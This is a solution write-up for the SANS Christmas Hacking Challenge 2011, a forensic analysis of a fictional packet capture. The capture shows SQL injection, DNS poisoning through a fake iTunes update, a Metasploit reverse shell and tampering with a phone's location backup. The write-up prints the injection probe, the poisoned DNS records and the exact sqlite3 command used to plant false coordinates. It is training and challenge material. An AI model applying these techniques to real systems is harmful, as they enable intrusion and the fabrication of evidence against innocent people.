Sans Christmas Hacking Challenge 2011

Transcript

1. SANS Christmas Hacking Challenge 2011 Johnny Vestergaard jkv@unixcluster.dk January 3, 2012 Contents 1 Overview 2 1.1 Significant events . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2 Attack visualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 Analysis 3 2.1 Hosts analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.1 IP 192.168.1.10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.2 IP 172.19.79.2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.3 IP 172.19.89.6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Detailed analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.1 #1 - Email from Grandma to Mel . . . . . . . . . . . . . . . . . . 5 2.2.2 #2 - Probing of web server . . . . . . . . . . . . . . . . . . . . . . 6 2.2.3 #3 - SQL injection (DNS Poisoning) . . . . . . . . . . . . . . . . . 7 2.2.4 #4 - Infection of Rudolphs computer . . . . . . . . . . . . . . . . . 10 3 Answers to challenge questions 14 1
2. 1 Overview 1.1 Significant events Table 1 provides a summarization of the most significant events identified and analyzed on the following pages. # Time Event 1 13:51 Email from Grandma to Mel revealing a plot to frame Rudolph of her murder, mail has hidden content which reveals Grandma’s current location. 2 13:51 Probing of Web server, attacker finds that the server is vulnerable to SQL injection (source 192.168.1.10) 3 13:52 SQL injection on web server, injections of data which results in specific apple.com hosts resolving to 192.168.1.10. (DNS poisoning) 4 13:57 Rudolph computer tries to update iTunes, but due to DNS poisoning is redirected to a service provided by the attacker which servers a piece of malware used by the attacker inject a set of coordinates (40.7715,-73.978833) into a backup of Rudolph’s cellular phone.. Table 1: Significant events 1.2 Attack visualization Based on the analysis in section 2 the following visualization has been generated - this visualization is pretty self explanatory and is included as an easy way to grasp how the attack were orchestrated. Attacker 192.168.1.10 (Grandma) Mail Server 192.168.1.3 Mail with hidden content (Grandma -> Mel) DNS and Web Server 172.19.79.2 DNS poisoning(sql injection) Target 172.19.79.6 (Rudolph) Change iPhone coordinates Delete sqlite.exe Get iTunesUpdate Reverse shell Get sqlite.exe (ftp) Uses DNS Figure 1: Attack visualization 2
3. 2 Analysis An in-depth analysis of the most significant hosts and events found in the provided packet dump. 2.1 Hosts analysis Form, identify and miscellaneous information on the most prominent hosts active in the packet dump, this provides a reference point for further analysis done in 2.2. 2.1.1 IP 192.168.1.10 Accordingly to headers extracted from email and http this host appears to be running a Linux i686 variant as OS, using Firefox as a browser (See snippet 1: line 2 and 3) and Alpine as email client. Furthermore it appears that the operator using 192.168.1.10 is do- ing so using a administrative account (root) and that the operator is know as “Grandma” (See snippet 2: line 2, 3, 4 and 5). Snippet 1 HTTP client headers from 192.168.1.0 1 GET / HTTP/1.1 2 Host: www.santaslist.northpole 3 User−Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Snippet 2 Email headers from 192.168.1.10 1 Date: Sun, 25 Dec 2011 07:42:26 −0500 (EST) 2 From: Grandma <root@grandma.gma> 3 X−X−Sender: root@bt 4 To: cousinmel@mail.gma 5 Subject: Christmas 6 Message−ID: <alpine.DEB.2.02.1112250741440.7396@bt> 7 User−Agent: Alpine 2.02 (DEB 1266 2009−07−14) 8 MIME−Version: 1.0 9 Content−Type: MULTIPART/MIXED; BOUNDARY="0−471592043−1324816946=:7396" 2.1.2 IP 172.19.79.2 Web server serving www.santaslist.northpole, running Apache 2.2.15 on CentOS and using PHP 5.3.2. (See snippet 3). Snippet 3 HTTP headers from webserver www.santaslist.northpole 1 HTTP/1.1 200 OK 2 Date: Sun, 25 Dec 2011 12:52:58 GMT 3 Server: Apache/2.2.15 (CentOS) 4 X−Powered−By: PHP/5.3.2 3
4. 2.1.3 IP 172.19.89.6 Accordingly to headers(see snippet 4) extracted from HTTP requests this system is running Windows XP Professional SP3 and have an outdated version of iTunes installed (10.3.1), furthermore path-naming and username information were foud which indicates that the owner of this system is named Rudolph as shown in snippet 5. Snippet 4 HTTP header from 172.19.89.6 1 GET /bag.xml?ix=4 HTTP/1.1 2 User−Agent: iTunes/10.3.1 (Windows; Microsoft Windows XP Professional Service Pack 3 (Build 2600)) AppleWebKit/533.21.1 Snippet 5 Indications of identify on 172.19.89.6 1 C:\Documents and Settings\Rudolph\Application Data\Apple Computer\MobileSync\Backup\ e409a4c01ece2a9e6bf9267b169f3b15616b98cd>ftp −A 192.168.1.10 2 [...] 3 Anonymous login succeeded for Rudolph@RUDOLPH−PC 4
5. 2.2 Detailed analysis This section will prove a detailed analysis of each significant event as listed in table 1 on page 2. 2.2.1 #1 - Email from Grandma to Mel At 13:51 an email was sent from Grandma to Mel, this mail appears at first looks to contain only a mail message (snippet 6) and a MIME embedded work document (content shown in 7), however during forensic analysis of the word document a hidden messages from Grandma were detected in the comment property of the metadata affiliated with the word document as shown in snippet 8. Snippet 6 Text content of mail from Grandma to Rudolph 1 Dear Mel, 2 3 Our plans are almost complete, and I am very excited. Soon, you and I 4 shall be spending the rest of our days relaxing in the surf and sun! 5 The plan is highly sensitive, a deep secret that only the two of us share. 6 Never tell another soul about our clever scheme as long as you live. 7 As we discussed, I recently made you the sole beneficiary of my life 8 insurance policy. On Christmas Eve, I plan on faking my own death, which 9 I will frame as murder on Rudolph, Santas obnoxious reindeer. 10 11 The details of my plan are included in the attached document below. Read 12 it carefully. 13 14 Merry Christmas! 15 16 Grandma 5
6. Snippet 7 Content of attached file in mail from Grandma to Mel 1 Dear Mel, 2 3 Here are the details of my secret plan. 4 5 After the investigation turns up the evidence I plant, you provide eyewitness testimony in court, and 6 Rudolph is convicted, you will receive the insurance payout. We can then use that money to fund our 7 Caribbean retirement. 8 9 I am not sure I ever told you this, Mel, but as a child, my village was attacked by a ravenous band of 10 rampaging reindeer, instilling a life−long hatred in me for the flea−bitten beasts. Ill never forget 11 their horrible comments as they galloped through our village. Because of that chilling childhood 12 experience, Im going to fake my death and blame it all on Rudolph, the most well−known reindeer of all. 13 Hell rot away in jail forever. 14 15 Merry Christmas, 16 17 Grandma Snippet 8 Message hidden in file comment of attached file 1 I will hide out at the Plaza Hotel near Central Park for several weeks, and meet you there in the lobby 2 exactly one week after the trial concludes with a guilty verdict for Rudolph, precisely at noon local 3 time. Make sure you bring the money in a suitcase full of cash. Ill be wearing one red shoe. 2.2.2 #2 - Probing of web server Soon after issuing the mail previously mentioned, the attacker launched a series of probes on a web server (172.19.79.2). Initially the attacker issued a few HTTP probes, shown in snippet 9, the purpose of these probes is assessed to be information gathering and identification of vulnerabilities. The attacker successfully identified a SQL injection vul- nerability by injecting a single quote (hex value 27) as a value to the name parameter in the naughty list form, the server response suggesting this vulnerability is shown in snippet 10. 6
7. Snippet 9 Generic probing • GET / HTTP/1.1 • POST /checklist.php HTTP/1.1 – name=Grandma – name=Cousin+Mel – name=%27 Snippet 10 SQL Injection probe 1 HTTP/1.1 200 OK 2 Date: Sun, 25 Dec 2011 12:53:28 GMT 3 Server: Apache/2.2.15 (CentOS) 4 <−− CUT −−> 5 <tr><th>Name</th><th>Status</th></tr> 6 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’’’’’ at line 1</table> 7 </body></html> 2.2.3 #3 - SQL injection (DNS Poisoning) The attacker starts out by injecting a few SELECT queries to identify the data and schema already stored in the database, the results are displayed enumerated in the naughty list as shown in figure 2 on the next page, after a few queries the attacker is able to reconstruct the relevant parts of the DNS database as shown in table 2a on page 9. The attacker then injects a single Start of Authority (SOA) record in the MYDNS.soa stat- ing that the origin apple.com is best resolved at ns1.santaslist.northpole, which in plain english states that ns1.santaslist.northpole is the best place to lookup *.apple.com host names. Lastly a series of apple.com hosts are injected into the Resource Record (RR) table stating that the specified hosts resolved to 192.168.1.10 - again in plain English this states that when a client lookups one of the injected hostsname they will resolve to 192.168.1.10 - which is the IP of the attacker. A full overview of the SOA and RR tables after the attacker successfully has conducted his DNS poisoning is shown in table 2b on page 9. 7
8. Figure 2: HTML feedback after SQL injection of SELECT statement 8
9. Original soa Table ID ORIGIN NS MBOX SERIAL REFRESH RETRY EXPIRE MINIMUM TTL 1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole 25 28800 7200 604800 86400 86400 Original rr Table ID ZONE NAME TYPE DATA AUX TTL 1 1 @ NS ns1.santaslist.northpole 0 86400 2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400 3 1 www.santaslist.northpole A 172.19.79.2 0 86400 (a) DNS tables before SQL injection Modified soa Table ID ORIGIN NS MBOX SERIAL REFRESH RETRY EXPIRE MINIMUM TTL 1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole 25 28800 7200 604800 86400 86400 2 apple.com ns1.santaslist.northpole root.santaslist.northpole 1 28800 7200 604800 86400 86400 Modified rr Table ID ZONE NAME TYPE DATA AUX TTL 1 1 @ NS ns1.santaslist.northpole 0 86400 2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400 3 1 www.santaslist.northpole A 172.19.79.2 0 86400 4 2 itunes.apple.com A 192.168.1.10 86400 5 2 ax.init.itunes.apple.com A 192.168.1.10 86400 6 2 swcatalog.apple.com A 192.168.1.10 86400 7 2 swcdn.apple.com A 192.168.1.10 86400 8 2 swscan.apple.com A 192.168.1.10 86400 (b) DNS tables after SQL injection Table 2: DNS tables before and after malicious modification. 9
10. 2.2.4 #4 - Infection of Rudolphs computer The infection process The target is infected through a malicious iTunes update, the attacker has made arrange- ments as described in 2.2.3 to make specific apple.com hosts resolve to his own machine (192.168.1.10) where he is hosting a malicious update service serving malware instead of legit updates - it is likely that the attacker is using EvilGrade1 (or a similar tool) to facilitate this. The requests from the target’s iTunes instance to the malicious update service are shown in table 3. An analysis of the traffic has shown that the target is using an old version of iTunes (10.3.1) which is vulnerable2 to this specific attack vector which allows download and execution of unsigned updates. Client request Intended host GET /bag.xml?ix=4 ax.init.itunes.apple.com GET /version?machineID=101a1a42c676ea68 itunes.apple.com GET /content/catalogs/others/index-windows-1.sucatalog swcatalog.apple.com GET /content/downloads/14/21/[SNIP]/061-4339.English.dist swcatalog.apple.com GET /iTunesSetup.exe swcatalog.apple.com Table 3: Update requests The malware After execution of the malware, the malware tries to connect back to the attacker on port 1225 using a standard TCP three way handshake - after the connection is established the malware seemingly awaits stimulus before acting further, this stimulus was captured in the provided PCAP show in figure 3 on the following page, when comparing this stim- ulus with the shell.rb source code of Metasploit, as shown in figure 4 on the next page, it can be concluded with little doubt that the malware is a legit binary3 wrapped with a Metasploit reverse_tcp stager - and that the actual staging used by attacker is a shell. 1http://www.infobytesec.com/down/isr-evilgrade-Readme.txt 2Fixed in 10.5.1 http://support.apple.com/kb/HT5030?viewlocale=en_US 3Apache Bench - found by static analysis of the binary. 10
11. Figure 3: Malware stimulus (blue is attacker data, red is target data) Figure 4: Metaspoit source code (/modules/payloads/stages/windows/shell.rb) A test was conducted in an isolated environment using two hosts - a Windows XP SP3 running the malware (extracted from the PCAP) and Backtrack 5R2 running Meatas- 11
12. ploit. As shown in figure 5 the test demonstrated that the malware actually works as described above. Figure 5: Injection of shell payload. Modification of coordinates on Rudolph’s computer. At this point the attacker has shell access to Rudolph’s computer where he downloads a copy of sqlite3.exe from his own machine. The attacker uses this tool to inject a set of coordinates into a backup of Rudolph’s phones cellular location database which is stored locally on Rudolph’s computer. The coordinates and timing injected matches the crime-scene4, as shown in figure 6 on the following page, - which would lead a forensic investigator to the conclusion that Rudolph, or at least his phone, was at the crime-scene when the alleged crime occurred. Snippet 11 Command used to inject data 1 sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "insert into CellLocation values (310,410,11250,116541837,346471200.820172,40.7715,−73.978833,1414,0,−1,−1,−1,50)" The manipulated celluar location database is shown in snippet 12 on the next page(the injected data is shown on line 23). 4Crime-scene coordinates was extracted from the photo of the crimescene - http://pen-testing.sans. org/images/challenges/holiday/evidence.jpg 12
13. Snippet 12 Location database after malicious modification 1 310|410|11504|165415283|346413600.207493|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50 2 310|410|11560|165415876|346417200.724667|−36.848461|174.763333|1414.0|0.0|−1.0|−1.0|−1.0|50 3 310|410|11913|165415988|346424400.845503|−33.87365|151.206889|1414.0|0.0|−1.0|−1.0|−1.0|50 4 310|410|11490|165415931|346431600.789114|35.689489|139.691706|1414.0|0.0|−1.0|−1.0|−1.0|50 5 310|410|11486|165415119|346433400.698928|40.332808|116.47765|1414.0|0.0|−1.0|−1.0|−1.0|50 6 310|410|11387|165415444|346435200.577698|39.904214|116.407414|1414.0|0.0|−1.0|−1.0|−1.0|50 7 310|410|11647|165415648|346449600.307924|55.752505|37.623168|1414.0|0.0|−1.0|−1.0|−1.0|50 8 310|410|11563|165415337|346458600.605536|52.523406|13.4114|1414.0|0.0|−1.0|−1.0|−1.0|50 9 310|410|11293|165419827|346460400.123529|48.858362|2.294242|1414.0|0.0|−1.0|−1.0|−1.0|50 10 310|410|11245|165415050|346464000.957372|51.505624|−0.075383|1414.0|0.0|−1.0|−1.0|−1.0|50 11 310|410|11341|165413757|346471200.820172|−22.903539|−43.209587|1414.0|0.0|−1.0|−1.0|−1.0|50 12 310|410|11146|165413900|346478400.428421|18.467964|−66.108809|1414.0|0.0|−1.0|−1.0|−1.0|50 13 310|410|11150|165413038|346480200.261264|6.42375|−66.58973|1414.0|0.0|−1.0|−1.0|−1.0|50 14 310|410|11342|165415572|346482000.116289|40.748245|−73.985534|1414.0|0.0|−1.0|−1.0|−1.0|50 15 310|410|11880|165413161|346483440.664151|43.653226|−79.383184|1414.0|0.0|−1.0|−1.0|−1.0|50 16 310|410|11537|165415788|346484520.528258|40.440625|−79.995886|1414.0|0.0|−1.0|−1.0|−1.0|50 17 310|410|11363|165415476|346485600.313375|41.8789|−87.63584|1414.0|0.0|−1.0|−1.0|−1.0|50 18 310|410|11686|165413799|346489201.224764|39.739094|−104.984898|1414.0|0.0|−1.0|−1.0|−1.0|50 19 310|410|11998|165414519|346492800.167865|37.819751|−122.478168|1414.0|0.0|−1.0|−1.0|−1.0|50 20 310|410|11312|165413083|346496400.422522|61.190009|−149.870694|1414.0|0.0|−1.0|−1.0|−1.0|50 21 310|410|11409|165413229|346500000.268656|21.307237|−157.858055|1414.0|0.0|−1.0|−1.0|−1.0|50 22 310|410|11504|165415284|346503600.473327|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50 23 310|410|11250|116541837|346471200.820172|40.7715|−73.978833|1414.0|0.0|−1.0|−1.0|−1.0|50 Figure 6: Plot of injected coordinate and crime-scene. (green arrow - same location) 13
14. 3 Answers to challenge questions According to the packet capture file, what was Grandma’s grand plan for Christmas day? Fake her own death and frame Rudolph of her disappearance. Why did the geo-location information on Rudolph’s computer, synced from his cell phone, show that Rudolph was in Central Park during the attack? Please describe each technical step that lead to this "evidence" presented in court. Grandma, the über hacker, hacked Rudolph’s computer and injected a set of coordinates into a software backup of Rudolph’s cellular phone. The technical steps are described in section 2.2. Where should the authorities look for Grandma? In Plaza Hotel near Central Park, see snippet 8 on page 6. Based on the evidence in the packet capture file, who is guilty in this story? Dear old Grandma is guilty of framing Rudolph of her disappearance and insurance fraud. 14